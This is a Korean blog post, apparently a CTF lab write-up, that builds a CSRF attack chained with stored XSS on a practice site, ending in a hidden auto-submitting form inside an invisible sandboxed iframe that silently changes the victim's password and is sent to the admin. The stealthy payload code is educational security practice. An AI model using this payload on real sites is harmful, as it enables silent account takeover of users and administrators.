CSRF 2번

황인환·2024년 7월 8일

CSRF 주소

페이지URL
마이페이지http://ctf.segfaulthub.com:7575/csrf_1/mypage.php

CSRF 포인트

  • 개인정보 수정 과정에 인증정보 요청이 없음
Burp Suite
  • 인증정보 요청 없음을 확인
수정후 redirection(Burp Suite & 실제출력화면)

CSRF TEST

GET방식으로 전환

GET방식으로 TEST

결과

  • GET방식 실패
    -> POST방식으로 전환
    -> XSS와 결합시도

XSS와 결합

특수문자 TEST

TEST방법

  • <,',",> 넣어보기
<,',",>삽입
결과확인

결과

  • <'"> 출력 -> 모두 사용할 수 있음

Filtering TEST

사용할 태그와 함수 TEST

  • 글수정 페이지에 <script>, <img>,</script>삽입
스크립트 삽입
결과확인

결과

  • <script> 출력 -><script> 사용가능
  • </script> 출력 -></script> 사용가능
  • <img>출력 -> <img> 사용가능

<form>태그사용

- POST요청 보내기

URL은 CRSF 취약점이 있는 페이지 URL

스크립트

<form action="URL" method=POST>
  <input type = "hidden" name="id" value="">
  <input type = "hidden" name="info" value="">
  <input type = "hidden" name="pw" value="good">
  <input type="submit" value="submit">
</form>
  • name -> 파라미터
  • value -> 파라미터 값
스크립트 삽입
출력화면에서 확인

-문제점

-> 버튼이 노출됨

자동전송버튼 삽입

<form action="URL" method=POST id ="myform">
  <input type = "hidden" name="id" value="">
  <input type = "hidden" name="info" value="">
  <input type = "hidden" name="pw" value="good">
</form>
<script>
	document.getElementById('myform').submit();
</script>

- <input type="submit" value="submit"> 제거
-> 자동전송으로 해결

  • <form>태그에 id 넣어줌
  • <form>태그에서 지정한 아이디로 특정한 다음 submit()를 사용
스크립트 삽입
게시글 클릭
클릭 후 alert
클릭 후 redirection

문제점

  • alert()
    수정되었다는 알람

  • redirection
    수정후 자동페이지 이동

<iframe>사용

자동 redirection 방지

<iframe>에 name을 추가하여 <form>값을 받음

스크립트

<iframe name="stealthframe"></iframe>
<form action="URL" method=POST id ="myform" target="stealthframe">
  <input type = "hidden" name="id" value="">
  <input type = "hidden" name="info" value="">
  <input type = "hidden" name="pw" value="good">
</form>
<script>
	document.getElementById('myform').submit();
</script>
스크립트 삽입
게시글 클릭 후 반응(alert)
게시글 클릭 후 반응(redirection)

- 문제점

-> alert 알람
-> iframe 노출

<iframe> 화면에서 지우기

<iframe> 태그에 style="display:none;"으로 개별 스타일주기
-> <iframe name="stealthframe" style="display:none;"></iframe>

스크립트 삽입
style="display:none;"이 적용된 화면

alert 지우기

  • <iframe>에 sandbox="allow-script"삽입

  • <iframe name="stealth" style="display: none;" sandbox="allow-scripts allow-same.origin">는 부모태크(body)의 출처와 자식태크 출처를 같게 간주하여 서로 DOM에 접근 가능

  • <iframe name="stealth" style="display: none;" sandbox="allow-scripts ">은 부모태그와 자식태그의 출처를 다르게하여 서로 DOM에 접근 못하게함

스크립트 삽입
sandbox="allow-script"이 적용된 화면

관리자에게 TEST

관리자에게 스크립트가 삽입된 URL전달
결과

0개의 댓글